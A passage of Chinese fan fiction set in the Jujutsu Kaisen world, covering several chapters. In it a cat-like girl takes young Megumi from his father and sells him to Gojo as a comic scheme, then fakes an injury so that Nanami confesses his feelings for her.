五条悟不觉得今野桃会撒这种谎,他弯腰,凑近了屏幕,蓝色的眼珠子恨不得绕着伏黑惠打转。 “你从哪里找来的‘十种影法术’?”五条悟啧啧说道,“等等,你不会去禅院家偷小孩了吧?看在你把小孩偷来给我的份上,这事五条家担了。” 很好,她就知道五条悟会主动背锅的! “放心啦喵,不是禅院家的,是野生的哦!野生的喵!”今野桃着重强调了一下,“我吃点亏,一千万卖给你喵。” “哇,那你是真的很吃亏了,卖给那群烂橘子,少说得翻几十倍。”五条悟惊叹道,“谢谢咯。” “不客气,同学一场嘛。”今野桃也很满意,“孩子我先放你宿舍了,你们回来自取哦喵。” 一场听起来相当“邪恶”的交易就这样达成了。 “行啦行啦,别哭了喵,你在这里玩两天,我会把你还给你爸爸的。” “真、真的吗?”伏黑惠的眼泪糊了一脸,哭得乱七八糟。 “嗯嗯是哦。”今野桃敷衍地说道。 躺在五条悟的豪华床垫上,被七海建人简单打理过后,伏黑惠很快就睡着了。 把门关上,靠谱的未成年男生捏了捏鼻梁,开口道:“你现在要回去了吗?” “对呀,好晚了,我都困了喵。”今野桃打了个哈欠,扭了扭身体。 七海建人沉默地和她并肩下楼,然后把她送到了女生宿舍的楼下。 “那你早点休息,那孩子我会照看好的。” “交给娜娜米当然放心啦喵。”今野桃满不在乎地说道。 整个高专最靠谱的就是娜娜米了,不交给他还能交给谁。她生气的点是他竟然主动说要养其他人,这怎么可以呢!那么有爱,不如多给她一点。 就在两人即将分开的时候,今野桃突然想起了什么,伸出手指戳了戳他,开口问道:“你之前站在那里,是在等我吗喵?” 七海建人原本平息的心潮又掀起了波澜。 “……嗯。”他几不可闻地回道。 “等我做什么?”她好奇追问。 七海建人本不想说,但她缠人的功夫实在厉害,只要拉长了尾音,放软了语气,他就完全招架不住了。 “我……我以为你走了。”他的呼吸依然节奏平稳,但胸口起伏的幅度却比之前更加明显。 他没有说,从窗户口看见她跳出去时他有多慌张;也没有说他追过去却没追上、站在山间小道时的绝望和迷茫。 这些都是无关紧要的细枝末节。 她是为了他才到高专来的,他让无拘无束的野良神成为了家猫,他必须为此承担起责任来。 五条悟和几个学长们总说他为小桃做了很多事,可是打扫卫生、清洗衣物算是什么很了不得的事情吗?那本来就是他应该做的。 真正算下来,明明是她一直在迁就他。能遇到她,是他此生最大的幸运。 七海建人鼓起勇气,替她将被晚风吹乱的发丝拢好,别在耳后。 “没什么事,你回来就好。”他顿了顿,“夜里风凉,要多穿一件衣服。” 【七海建人好感值:85】 第86章 伏黑惠被安置在高专,但因为第二天大家要去做任务,所以经过商量之后,决定让灰原雄留下来帮忙照看。 “没问题,交给我吧!”灰原雄拍拍胸口说道,“你们出去做任务要小心哦!” 七海建人颔首:“麻烦你了。” 这孩子是小桃带回来的,但现在要让灰原雄抽出时间来照顾。 “说什么呢,看一个小孩而已,怎么会比做任务更辛苦。”灰原雄锤了一下他的肩膀,“野原老师说了,这次任务很危险,你们一定要注意安全。” “嗯。”七海建人浅浅地笑了笑,和今野桃坐上了辅助监督的车。 和他的严阵以待相比,今野桃就显得闲适许多。灰原雄不在,宽敞的后座足够她倒在七海建人的身上。 少年稍稍抬起手,为她遮住从车窗照进来的日光。 今天是一个晴朗的日子,灿烂的阳光照在她的脸上,连嘴角细细的绒毛也镀上了金色。 在宁静的氛围中,他们来到了机场。 “不知道学长们会从哪个出口下飞机。”七海建人捏了捏她的耳垂,“起来了,小桃。” “再等等吧喵。”今野桃翻了个身,把脸埋在他的小腹,含糊不清地说道,“他们会打电话过来的。” 七海建人能感受到辅助监督从后视镜那里望过来的目光,隐约带着些许揶揄。 他不好意思地低头:“好吧。” 那就再等等。 车子停在停车场,周围环境太过安静,辅助监督咳了一声,说道:“我去抽根烟。” 他拉开车门,迫不及待地离开了这片被情侣散发出来的酸臭气息占据的狭窄空间。 他一走,七海建人慢慢也放松许多。他一下一下轻柔地抚摸着女孩的头发,像是抚过光滑的绸缎。 车子里的温度有些高了,七海建人感觉呼吸间嗓子有些热。也有可能是她挨得他太紧,连带着他的体温逐渐升高。 冬天抱着的话,一定会很舒服。 他胡思乱想起来。 叮——铃声响起。七海建人猛然惊醒,发现响的不是他的手机。他轻轻晃了晃今野桃的肩膀,说道:“小桃,你的手机在响。” 今野桃像只猫猫虫似的蛄蛹两下,闷闷说道:“你接吧。” 他听话地从她的裙子口袋里掏出手机,屏幕上闪烁着五条悟的名字。 “喂,五条学长……” “哟,是娜娜米呀。”五条悟的声音非常大,旁边隐约有点嘈杂,“跟你说一下,我们明天早上回去哈!” “……”一根青筋在七海建人的脑门上跳了跳,“五条学长,我们的时间不是早就安排好了的吗?” “哎呀,没办法嘛,冲绳太好玩啦!”五条悟快乐地说道,“要不然我给你们出飞机票,你们也一起来玩吧!” “谢谢,但是不用了。”七海建人闭了闭眼,“我只想早点结束任务回去。” “哇,娜娜米这 就染上班味了吗?真的好社畜的语气哦。“五条悟嘻嘻哈哈地说着,“放心好啦,我们明天早上就回去,记得跟小桃也说一声哦。” 以五条悟我行我素惯了的做事风格,如果不是怕挨打,他真的会发一条短信通知完事。 电话挂断,七海建人扶额。他确信小桃也听见了,那接下来该怎么做呢?留在这里吗? 辅助监督不知道什么时候靠在了窗户边,开口道:“我送你们回去?不过学校到机场这边有些距离,如果五条是明天早上回来的话,你们明天很早就得出发。不如还是在这里住一晚吧。” 七海建人没说话。 五条悟真是太会给人添麻烦了。 “去涉谷喵。”今野桃淡淡说道,“正好我们出去玩,就当是放假了喵,到时候找五条悟报销。” “行,那就去涉谷。” 辅助监督上车,重新点火启动。 莫名的,七海建人忽然有了一个猜测。 小桃是不是早就猜到了这个意外会发生?毕竟她好像,什么都知道。 他们汇入川流不息的车水马龙之中,来到了涉谷街头。这里是东京最繁华的地带之一,来来往往到处都是人。 七海建人下车,今野桃跟在他后面跳了下来,他连忙伸手去扶,然后用一种不太赞同的目光看了看她。 今野桃笑吟吟地对辅助监督说道:“辛苦你了喵,接下来就交给我们吧,你可以下班了。” 挺好,大家都有美好的假期。 “祝你们玩得愉快。”辅助监督摆摆手,很快消失不见。 七海建人四下看了看,对这片地区有些陌生。 “你在这里等等我喵。”今野桃忽然说道。 没等他开口,她就跑了个没影。七海建人紧张地站了几分钟,她才又蹦蹦跳跳地回来了。 “你去哪里了?”难道是有什么危险,她悄悄去摆平了? 今野桃拉住他的手,漫不经心地回道:“没去哪里喵,给小惠不负责任的监护人打了个电话,报了一下平安喵。” 原来如此。但打电话为什么要避开他?他和她不是都有手机吗? 今野桃竖起了一根手指放在唇上,神秘地说道:“这个电话不能用我们自己的手机打,所以只能借别人的打啦喵。” 有点古怪。 七海建人犹豫了一下,开口道:“很麻烦?” “不麻烦。”今野桃眨了眨眼睛,“那个男人打不过我,没事。” 那就行。 七海建人安心了。 伏黑甚尔不安心。 昨天晚上,他先是打了电话回家,把伏黑津美纪叫醒,确认伏黑惠确实不在家。然后他又打给了孔时雨,让他帮忙调一下伏黑家周边的监控,发现什么都看不见。 于是他回拨给了那个绑匪,恶狠狠地表示,钱没有,敢动手就杀了她。 然而绑匪浑不在意,只是给了他最后通牒。 一个亿,对伏黑甚尔来说想搞到并不难,甚至不需要四个小时。他一边到处找人兑钱,一边委托孔时雨顺着电话号码查地址。 遗憾的是,当他们找到那个屋子的时候,里面已经人去楼空,孔时雨确认机主是一个普通人,手机是他遗失的。 “%#%#!”孔时雨第一次听禅院骂得这么脏,完全可以说是破防了吧。 “别让我知道是谁,否则我一定会扒了她的皮!”伏黑甚尔一拳打在了墙壁上,平整的墙面在巨大的冲击下裂成了蜘蛛网。这已经是他极力克制后的结果。 凌晨一点,那人又用一个陌生号码发了信息过来。 [你居然查我?呵呵,既然这样,一个亿的现金,带到北海道的札幌火车站,明天下午我会再联系你。] 附上一张伏黑惠安静入睡的照片。 他的表情太平静,跟死了一样。 伏黑甚尔又破防了。他的脸无比阴沉,仿佛有电闪雷鸣。 骨节被捏得咯吱作响,他的下颌绷得极用力,像急于喷发的火山,只需要一根引线就能把整个世界烧个稀巴烂。 他转身,将门踹开。 “你去哪,禅院?”孔时雨喊住了他。 “还能去哪,去北、海、道!”他一字一句地说道。 孔时雨揉了揉额角:“那关于‘星浆体’的任务……” “去他妈的任务。”伏黑甚尔面无表情地说道,“我儿子可比那点赏金贵得多。我把他卖给禅院,足足卖了十个亿,那绑匪真没眼光。” 孔时雨嘴角抽搐。 你这是嫌绑匪要得少了吗…… “快来,我请你吃大餐喵!”今野桃拉着七海建人登上涉谷最高的那栋楼,脚步无比轻快,“我可是赚了一千万哦!” “五条学长这么快就把钱打给你了吗?”七海建人握住她的手,有点惊讶。 “哈哈,毕竟便宜嘛!”今野桃朝他比了个wink。 所以便宜没好货,她会给五条悟好好上一课的喵~ 第87章 楼层越高,菜价越贵。今野桃带着七海建人,直接来到了最顶楼的餐厅。这里有着大而透亮的落地窗,靠着窗边吃饭时,可以眺望到远处的富士山。 七海建人的脸上带着不自在,这里面的装潢太过富丽堂皇,严重冲击了还属于学生的他。 “你确定要在这里吃吗?”他轻声说道,“兴许一顿饭就会吃掉十分之一甚至更多。” “没关系喵!”今野桃捏了捏他的手指,“走吧,等下我又会大赚一笔呢!” 大赚一笔? 七海建人没想到怎么个大赚一笔法,但既然小桃这样说,那她应该不会缺钱。 高级餐厅的服务员并没有他想象中眼高于顶,她们面带微笑地询问他们是否有预约,在得到否定的回答后,引着他们往里面走。 现在这个时间点还没到吃晚饭的时候,所以人不多,还能找到靠窗的位置。今野桃飞快地把自己想吃的东西点完后,将菜单递给了七海建人。 他谨慎地翻看许久,才斟酌着点了两道菜。 “等下我们吃完饭就直接在旁边订个房间,省得还要跑来跑去喵。”今野桃喝了一口温水,抱怨道,“这个也得让五条悟报销。” 没错,他真的非常过分。如果不是他临时改变主意,他们现在都已经接到了人,站在高专的地面上了。 “五条学长太自信了,”七海建人低声说道,“‘星浆体’一刻不进入高专,就会有一刻的危险。” 今野桃咽下口中的虾肉,神秘地笑了笑:“或许,高专也没有我们想象中那么安全喵。” 七海建人愣了一下:“敌人难道还能冲破结界吗?” “谁知道呢,反正跟我们没关系啦喵。”今野桃拨动了一下盘子边缘的酱汁,随意地说道,“这是他们要担心的事情。” 玩家可没有那么多精力去走支线剧情,她又不是收集党,什么剧情都想走。 “我要提醒一下五条学长。”七海建人掏出了手机,顿了顿,又看向了她,“可以吗?” 今野桃耸了耸肩:“随你喵。但是五条悟不会在意的啦。” 五条悟从出生起身边就环绕着数不胜数的暗杀者,但没有一次能击破他的防御。他甚至胆大到甩掉其他保护的人,一个人跑出去玩。 由此可见,他是不会因为七海建人的提醒而变得警惕的。 果不其然,电话打过去后,七海建人只得到了五条悟几声敷衍的应和就没了。 性格认真仔细的少年 有些沮丧地低下了头。 今野桃睫毛垂了下来,指尖在桌子上敲了敲。她抬眼,笑道:“今天五条悟这么自信,那我可就不客气了。” 她再次拨出电话给五条悟,在他还没开口的时候说道:“喂,五条喵,我们打个赌怎么样?如果你这次完好无损地结束了任务,我就给你一千万喵。如果你受伤了,你就给我两千万喵。” 五条悟不耐烦的话语堵在了嗓子眼,他颇感好笑又有趣:“你说真的?” “嗯哼,真的哦。”今野桃坚定地说道。 “行啊。”他得意地对旁边的同学说道,“杰,这次她一定会输!” 一两千万他不放在眼里,但从没赢过她的五条悟决定和夏油杰轮流值班,保证不放过一个敌人,势必拿下这一场。 “那受伤的程度怎么算?总不至于我不小心摔一跤也算受伤吧?”五条悟竟然还挺严谨地想到这个问题。 “嗯……”今野桃故意沉吟了几秒,说道,“就以出血量来计算吧喵。” 两人约定好后,她挂了电话,对七海建人挑起了眉。 “看吧,我说了我赚钱很快的喵。” 七海建人沉默不语。 口中本来没什么味道的蔬菜汤好像变甜了许多,他极力克制才没有让嘴角飘起来。 她刚刚是在为他出气吧?很明显,她本来没打算和五条悟玩这种游戏的。 他本该提醒她,五条悟是他们的学长,如果他有危险,他们也得去帮忙才是,怎么能用这个来打赌呢? 可是…… 心动摇得厉害,七海建人最终还是问道:“敌人很强吗?” “不好说喵,应该和五条悟不相上下喵?”今野桃把烤牛肉推到七海建人的面前,示意他帮她切成小块,然后支着下巴说道,“但不是还有我吗,我比所有人都要强喵~” 但七海建人这一次很难放下心了。他仔细地将牛肉切成粒,刀尖难免和盘子发生了碰撞,发出刺耳的声音。 “在没有遇到更强的敌人之前,每个人都以为自己是无所不能的。”他显然陷入了低潮,有几分没精神。 今野桃叉起一粒牛肉,笑道:“好悲观呀,娜娜喵。” “在你出现前,所有人都以为五条悟是最强的,或者说未来是最强的。”回忆自己在课堂上学过的知识,七海建人摇摇头说道,“虽然你……确实特殊,但谁又能猜到,以后会不会有和你一样的存在呢?” 他很担心她,像兔子担心老虎会吃不饱。 很突然地,她想起了许久以前的某个画面。在带着刺鼻消毒水气味的医务室里,三个少年并排躺在病床上,庆幸着自己又一次从咒灵的手下死里逃生。 阳光穿过树叶、透过玻璃,在浆洗得发硬的白色床单上投下朦胧的光斑。 他向她表达感谢,因为她救了他。 她那时的回答是什么来着?哦对了,她说—— ‘没事,我们可是好朋友啊。’ 今野桃蓦地伸出手,搭在了他的手背上。 “不会的,娜娜喵,我不会死的。”她轻柔地说道,把自己很久以前说过的话又重复了一遍。“而在我死掉之前,是绝对不会让你死的喵。” 同样的话语,但说出口时的心境却大不相同了。 七海建人瞪大了眼睛,似是感到了震惊。那双金棕色的瞳孔映着她的面容,仿佛是第一次认识她。 “你在胡说什么……”他狼狈地低下头,几乎以为她看穿了自己的心事,“我跟你的寿命完全不一样长吧!” 她怎么能、怎么能如此轻易地就把这样的话说出口! 今野桃没有纠正他的说法,只是侧过头,看向窗外富士山的轮廓。 “娜娜喵,你知道吗,富士山脚下有一个很有名的天然林场,叫做‘青木原树海’。” 听起来像是个风景很美的地方,对日本不甚了解的七海建人想。 “……那里是自杀胜地。”今野桃收回目光,看着他说道,“外号‘自杀森林’。” 什么?! 这真的是很出乎意料了。 “纠结寿命的上限是没有意义的,因为不一定能活到那个时候。兴许下一秒钟,世界末日,所有人就会全都死掉。”今野桃漠然说道,“网上可以查到,去年全国一共死了一百零七万人。光是今年年初的一场暴雪,就有两百多人意外死亡。” 七海建人握紧了刀叉,心中生出莫名的情绪。 “所以,在病床上不能动弹、浑浑噩噩地度过五十年还是自由快乐地活十年,我会选后者。”好像只是随口说说,今野桃没有询问七海建人的想法。 因为她的本意不是说服他,而是让他知道她的观点。 一味地追逐、逼迫是没有用的,心与心之间的拉扯有时候也是爱情的魅力之一。 后来七海建人没有说话,只是安静地吃完了这顿饭。 他们在旁边的酒店里出示了高专的学生证,在通知班主任后,成功开到了两间房。 第二天上午也很顺利地接到了五条悟一行人。去的时候是两人,回来是四个。 “这是天内理子和黑井美里,我们的保护对象。”夏油杰介绍道,“这是我们的学弟和学妹,七海建人、今野桃。” 两边简短地打了个招呼。 “走吧,悬赏已经取消了,接下来只要进入高专,我们就安全了。”五条悟打开手机看了一眼,对今野桃抛了一个得意的眼神,“这次任务我们一定能无伤通关!” 今野桃只是笑而不语。 被她遛了一大圈的禅院甚尔应该在赶来的路上了。她本没打算这么早让他过来的,但现在看来,有人就是缺少风霜的洗礼。 车子一路开到了高专的山下,接下来最好是步行。 “娜娜米守在山脚,我守校门口,五条和夏油带‘星浆体’进去吧喵。”今野桃安排道。 “好。”低年级本来就是负责打辅助的,主力还是二年级的两个。 七海建人抬头,望着他们的背影慢慢消失,心脏仿佛被无形的大手攥住。随着时间一分一秒地过去,他的呼吸也越发沉重。 他第七次拿出手机看时间,又很快收起来。风有点冷,从他的领口灌进去,让他忍不住打了个哆嗦。 怎么回事,怎么还不打给他?只是一个护送任务,需要这么久吗? 难道把他忘记了?不会的,小桃不可能把他忘记。 手机在口袋震动的瞬间,他立刻把它拔了出来。不是通话,而是短信。 发信人的名字让他眼皮一抖,下一秒,手机差点从颤抖的手中掉下去。 [“星浆体”任务失败,两人重伤一人昏迷,所有二级以上咒术师回援,其余人原地待命。]——夜蛾正道。 七海建人的身体晃了晃,一定是站的时间太久了,才会让他双腿发软吧。 风吹过的声音太吵了,吵得他大脑嗡嗡作响,几乎无法思考。 除了他之外,跟上去的咒术师一共就三个。那么,是谁重伤?又是谁昏迷? 他不敢去想。 第88章 伏黑甚尔来到了北海道的札幌火车站,他在那里蹲守了一天,连根毛都没看见。 装着一个亿现金的袋子就这样随意地摆在他的脚边,他却并不关心,只是全神贯注地观察着每一个路过的人。 那个绑匪会从什么地方出现?又会怎样取走这一个亿?只要她敢冒头出来,他绝对能抓住任何蛛丝马迹,追踪她到天涯海角! 时间一分一秒地过去,太阳从天空的正上方开始倾斜,最后渐渐沉入地底。伏黑甚尔的脸色越来越阴沉,后槽牙磨来磨去,发出咯吱咯吱的声音。 叮—— 手机铃声响起,他飞快地拿起来一看,是一条短信。 [有趣,你的儿子竟然是咒术师吗?那我要好好考虑一下了,或许把他做成傀儡会比一个亿更划算?] 咔嚓。 手机被他捏出了裂痕。 在它彻底报废之前,伏黑甚尔看见了一张照片。 他的儿子抱着膝盖,缩在床的最角落,胆怯地看着镜头。那双和他很相似的眼睛里,透出求救的意味。 伏黑甚尔的胸口剧烈起伏几下,把手里的碎屑扔掉。 忽然,一道灵光闪过他的大脑。 等等……那张床…… 他极力回忆着,终于从他以为早就忘干净的记忆中,翻出了那个记号。 那是一个家纹。如果他没 记错的话,是五条家的家纹。 惠在五条?不,如果绑匪是五条家的人,她不可能会做出这种勒索的事情。而且,虽然被子上有家纹,但封建家族怎么可能会用那种新潮的款式, 那个房间的墙壁被刷得雪白,出现在照片里的半个床头是木制的。 心念电转间,伏黑甚尔有了一个猜测。 惠……是不是在东京的那个五条那里?如果是的话,那倒推回去,发过来的信息中对赎金的渴求会那么低也就能说得通了。与其说是索要赎金,不如说是在戏耍他吧。 或许是因为,五条知道他接下了“星浆体”的任务? 总之,不论如何,他必须去一趟东京的那个高专。呵呵,说不定原本放弃的任务,也可以顺手一起做了呢。 沉甸甸的袋子被高大的男人举重若轻地单手甩在了肩膀上,他的另一只手握紧了武器,锋利的刀刃闪烁着嗜血的光芒。 如果惠真的在那些小鬼手里,他一定会让他们知道,什么叫做不要招惹不该招惹的人…… “所以关于我被偷袭身中六刀差点嗝屁的事情,你有什么头绪吗?”五条悟的脸上还带着伤痕,他躺在病床上,用力拍打着床面,“你快说啊!” “冷静点,悟,万一她有什么苦衷呢?”夏油杰浑身上下都包着绷带,那张英俊的脸上满是青紫。他有充足的证据证明,那个男人嫉妒他的帅气。 面对两个学长的逼问,今野桃神态自若。 “头绪?什么头绪喵?”她无辜地说道,“我可是救了你们诶!你们不感恩戴德,还问我有什么头绪喵?” 两个男生都被她的无耻给震住了。 “那个男人差点把我们打死是为什么?难道不是因为你偷了他的小孩吗?!”到底是怎样说出她救了他们的话来的啊! “可是,我一开始就说了这孩子是我抢来的呀喵。”今野桃理直气壮地说道,“想也知道吧,我又不是禅院,哪里能生出‘十种影法术’。” 五条悟气了个倒仰:“你明明跟我说这孩子是‘野生’的!” “是呀喵。”今野桃点点头,“我捡到就是我的喵。” 她眨了眨眼睛,捂嘴一笑。 “你们该不会以为孩子是白鹤送来的吧?肯定是有爸爸妈妈的呀喵。” 硬了,拳头硬了。 五条悟第一次见到比自己还蛮不讲理的人。 “好啦好啦,别生气了,我这不是帮你把孩子抢回来了吗喵?”今野桃摆摆手说道,“一千万买到了‘十种影法术’,你赚大了诶!” 是是是,所以他花了一千万还挨了一顿毒打。 哦对了,他还得谢谢她。 真是妙啊。 “悟!悟你醒醒!”夏油杰惊恐地喊道,“硝子!硝子!悟被气晕了!” 家入硝子从隔壁病房走过来,睁着死鱼眼说道,“你们有完没完,那个男人还在昏迷呢。” “抱歉抱歉。”夏油杰双手合十,向辛苦劳累的同期示弱,“麻烦你了,硝子。” 家入硝子深深地叹了口气,活动了一下僵硬的关节,说道:“我出去抽根烟。” 五条悟挣扎地醒过来,对今野桃说道:“那个男人是禅院吗?” “是哦,不过他虽然姓禅院,但是已经和禅院脱离关系了喵。” 原来如此。那就是说,这个“十种影法术”和禅院也没关系咯? 五条悟转动着脑筋,思考把这个小孩“眛下来”的可能性大不大。 “那个男人已经把这小孩卖给了禅院,卖了十个亿喵。”今野桃淡淡地说道。 “十个亿?!”夏油杰震惊道,“这么值钱?!” “嗯哼,现在知道我卖给你一千万是多么划算吧?这可是同学之间的友情价喵!”今野桃抬了抬下巴。 “但禅院一定不知道他是‘十种影法术’。”五条悟若有所思,“否则他们一定会把他带回禅院,而不是任由他流落在外。” “答对啦喵!”今野桃笑吟吟地说道,“而且那十个亿也只是口头约定,并没有真的打款。怎么样,是不是很心动喵?” 确实心动。 “但是那个男人真的很难搞,上来就给我三刀,把我捅了个对穿啊。”五条悟摸着肚子说道。 “……悟,你就别得了便宜还卖乖了。”夏油杰捂着胸口说道,同样是挨打,五条悟觉醒了反转术式,他呢?他咒灵被打光了! 他才是最亏的那个! “那奖励你等那个男人醒了再打一次。”五条悟笑嘻嘻地说道。 两个幼稚DK又在拌嘴,今野桃低头查看家入硝子给她发的短信。 很简短,也很让人摸不着头脑。 [现在马上躺到病床上去!] 今野桃挑眉。难道禅院来闹事了?她得装病? 一个翻身,她占据了最后一张靠门的病床。白色的被子一盖,虚弱的表情就装出来了。 把旁边的两个男生看得一愣一愣的。 这是发生了什么? 凌乱又沉重的脚步声响起,有人用力推开门闯了进来。他慌张得像是到处乱飞的蛾子,最后扑向了火焰。 “小桃!”他噗通一声跪在了病床边上,握住了她的手,泛红的眼眶兜不住泪水,一滴一滴地落在了被子上,洇湿了一小块。 他垂首,把额头抵在她的手背上,声音颤抖得几乎听不清楚。 “抱歉……真的很抱歉……” 他大口大口地喘着气,那些被压抑的情绪终于释放出来,却已经如错过最后一次花开那样迟了。 “我真的……很喜欢你……就算、就算不能永远在一起也没关系……就算你以后讨厌我、嫌弃我也没关系……” 哇哦。 两个DK不约而同地发出了惊叹声。 病床上,今野桃悄咪咪地把眼睛睁开了一条缝,恰好对上慢悠悠走进来的家入硝子的眼神。 家入硝子对她微微一笑。 不用谢…… 七海建人收到夜蛾正道的短信后,发了几秒钟的呆,开始往学校狂奔。他现在当然还不是二级咒术师,但就算被骂他也顾不上了。 他现在迫切地想要知道,到底是谁重伤,谁昏迷。 但不管小桃是哪一个,他都觉得无比痛苦。 他一边后悔为什么自己没有和小桃换一下,一边又清楚地知道,如果敌人能一胜三的话,他在那里只会比小桃的结局更惨,兴许会死掉也说不定。 为什么……为什么他会这么弱小…… 眼圈在发烫,但七海建人忍住了。 校门口,一滩又一滩的血迹触目惊心,让他大脑发晕。 这个出血量……会死的吧……? 双手不受控制地哆嗦着,每一根神经都在恐惧。七海建人如无头苍蝇到处乱转,终于在一条小道上遇到了一位学长。 “你说他们啊?应该是在医务室吧。”三年级的学长被安排守着结界,为他指明了方向,“我记得是都送到医务室去了。” 郑重地说了一声谢谢,七海建人拔腿朝医务室冲去。 远远地,他看见了门口抽烟的家入硝子。 “家入学姐!”他上气不接下气地撑着膝盖说道,“小桃、小桃她怎么样了?” 家入硝子看着向来镇定的学弟莽撞的样子,有点愣神,似乎在想什么。 她想起来了五条悟在教室里对学弟的吐槽。 ‘呕……’他夸张地作出呕吐状,‘“我和小桃不是那~种~关~系~”,好恶心啊!’ ‘可能是在暧昧期吧。’家入硝子很懂,‘他们应该相处很久了,青梅竹马是这样的,因为相处时间太长,反而很难捅破这层纸呢。’ ‘不管,反正就是很恶心。’ “家入学姐!” 七海建人的喊声让她回过神。看着学弟紧张到了极点的样子,她深深地叹了口气,一边掏出手机,一边开口道: “小桃啊……唉,她……” 她说得支支吾吾,似乎难以启齿。 “她怎么了?!”七 海建人急得火烧眉毛。 家入硝子摇摇头:“很麻烦啊。” 七海建人怔住了。 “很麻烦……是什么意思?”是再也醒不过来了吗? “总之……就是……”家入硝子合上手机盖,拍了拍学弟的肩膀,“你要做好心理准备。” 仿佛一道惊雷从天而降,把他自头顶一路劈到脚下。 “我不信……不会的……”他喃喃道。 “很可惜啊。”家入硝子叹气道,“人生……就是这么无常……” 话音未落,七海建人已经冲进了医务室。 家入硝子咂了咂嘴,双手插兜跟在了后面。 没用的男生。 这个高专,还是得靠她啊。 第89章 今野桃在起身安慰七海建人和继续装病骗他之间…… 选择了后者。 没办法啊,她就是这么恶趣味的人捏。机不可失,时不再来。玩弄DK真的太有意思啦! 女生躺在病床上,露出苍白的脸蛋,睫毛微微颤动,像是风中欲坠的蝴蝶,灯光打在她的脸上,不仅没有让她看起来精神,反而越发地如纸一样脆弱。 他从未看过她这幅样子。 “娜娜喵……”她的嘴唇蠕动,发出几声呓语。 七海建人手足无措,乞求地看着她:“小桃,你不会死的,对吧?” 他只能问出这种毫无意义的问题了。 女生垂下眼,轻咬着下唇,仿佛不知道该如何回答。 不行,要忍住,绝对不能破功。 “不会的,我不会死的。”她艰难地伸出手,将他下颌处的泪水擦掉,也掩盖住哪一闪而过的心虚,“你不要担心喵……” 怎么可能会不担心,七海建人恨不得现在躺在床上的是自己,而不是她。 明明人没有受伤,心却痛得不得了,让他喘不过气来了。 “能听见娜娜米说……说喜欢我,我真的很高兴。”她吸了吸鼻子,眼睛里仿佛也泛起了泪光,“就算受再重的伤,也值得了喵。” 七海建人听不下去了,他的喉头滚动,一个字都说不出来。他怕自己张开嘴,眼泪就又要掉下来。 “娜娜米,你能完成我……一个心愿吗?”今野桃虚弱地说道,“或许这是我,最后一个……” 七海建人捂住了她的嘴巴,他一字一句认真而坚定地说道:“不管你有多少愿望,我都愿意为你完成。” 今野桃用另一只手虚虚地搭在他的手臂上,轻声说道:“那你……可以亲我一下吗?” 她用最温柔、最和缓的声音,诉说着自己的心愿。那双带着期盼的眼睛,叫他难以拒绝。 他也不会拒绝。除非是过于无礼的要求,不然他从不拒绝她。 可是小猫咪哪里会提出无礼的要求呢? 七海建人的呼吸略微加快了几分,指尖无意识地摩挲着她的关节。他静静地凝视着她,琥珀一般的眸子里倒映出她的面容,好像要将她永远刻进自己的大脑。 “娜娜喵……” 尾音在空气中飘散,他抬起头,慢慢地靠近了。 似蝴蝶掠过花瓣,干燥的唇瓣一点一点试探地贴在了一起,从唇角吻到唇珠。 她的手指攀上他的肩膀,时间仿佛在这一刻停止,只剩下彼此交错的呼吸和胸腔里震耳欲聋的心跳声。 这是一个相当纯洁的吻,没有湿漉漉的痕迹,没有可疑的响声,有的只是两颗终于互通的心。 七海建人的脸颊泛着红色,在长久的对视后,原本坚定的目光也开始闪躲。 “小桃,我……” “再亲一下。”今野桃开口打断了他的话。 太纯了,她没尝出味。 然而七海建人还没说话,旁边有人受不了了。 五条悟一个翻滚,从床上扭到了地上。 “不行了,我不行了……”他在地上阴暗扭曲蠕动,散发出比特级咒灵还要可怕的气息,“我真是受够了……这个可恶的!令人痛苦的世界!彻底毁灭吧!!” 七海建人猛然回过神,才想起病房里不止小桃一个人。 夏油杰面无表情地倚靠在床头,在看见学弟脸上的惭愧后,开口道:“差不多得了,小桃,你欺骗纯情少年的感情,不会觉得羞愧不安吗?” 欺骗纯情少年? 七海建人转过头,看着自己奄奄一息的、新出炉的女友若无其事地坐直了身体,伸了个懒腰后挠了挠脸颊说道:“什么欺骗啊,这叫情。趣,情。趣懂吗?没对象的男生真笨!” 她的声音中气十足,哪里有一点虚弱的样子。 七海建人愣愣地看着她,显然还没反应过来。 骄傲猫咪把头一抬,得意地说道:“区区一个天与咒缚,也能拿我怎么样吗?” 别说是一个天与咒缚了,就算他们仨加在一起,她也不是打不过。 “娜娜米是不是以为我受伤啦?”她理直气壮地指责道,倒打一耙的本事让人叹为观止,“你真的是太不信任我了!罚你等下回去亲我一百遍!” 于是质问的话在舌尖打了个转又被吞了回去。七海建人的耳根像染了胭脂,说话也结结巴巴。 “你、你没事就好……” 夏油杰倒吸了一口气,恨铁不成钢地伸出手指,隔空点了点不成器的学弟。 已经可以预想到未来七海被她吃得死死的样子了啊!这种机会都没抓住,真没用! 七海建人懵懂地看着学长,不知道他为什么生气。 “好啦,事情圆满解决,我们回去吧喵!”今野桃握着他的手指,轻轻晃了晃,“我可不想一直待在医务室,好难闻啊喵!” “好,那我们回宿舍。”七海建人想要伸手搀她,今野桃却一下跳到了他的背上。 “我好累,你背我喵!” 学弟任劳任怨地背起了女友,临走时还不忘记和学长们打招呼。 “那我们就先走了,五条学长、夏油学长、家入学姐。”他很有礼貌地说道。 他没有怪今野桃装模作样地骗他,自然也不会怪家入硝子故意言辞闪烁误导他。 他不是不知好歹的人。 家入硝子朝他摆摆手:“快走,别用情侣的酸臭气息污染了我这里的纯洁。” 七海建人抿了抿嘴,没有反驳。 “‘我一直非常感~激~她~’。”五条悟阴阳怪气地说道,“怎么有人是这样感激别人的啊?哦我懂了,是救命之恩以身相许吗?” 七海建人加快了脚步,以近乎落荒而逃的速度离开了医务室。不能让学长继续说下去,否则好像自己是蓄谋已久一样。虽然……那个念头早就有了,只是被压制在内心深处,不敢提及。 今野桃勾着他的脖子,感受到了他滚烫的体温。 还是太正直了,脸皮不够厚。 没关系,她会努力训练他的! “你在害羞吗喵?”她捏了捏他的耳垂。薄薄一层的耳垂捏起来如同玩具,手感不错。 他没有回答,只是迈开双腿埋头苦走。 这种问题,该怎么回答?不管说什么,感觉都不对吧? 说没有的话,羞红的脸颊就是他撒谎的最好证据。可是说有的话……那也太难为情了。 七海建人一声不吭地将她送到了女生宿舍的楼下,她却不肯下来。 “去你那里喵。”她晃着脚,在他的耳边说道,“我有东西落在你那里了。” 这话难分真假,但七海建人从来拗不过她,只好转身将她带回了宿舍。踩着楼梯往上时,不知道为什么,他的速度越来越慢,仿佛有什么东西绊住了他。第六感在向他预警,接下来可能会发生一些事情。 犹豫?害怕?抗拒?还是……期待? 开门的时候,他的手差点拿不住钥匙。 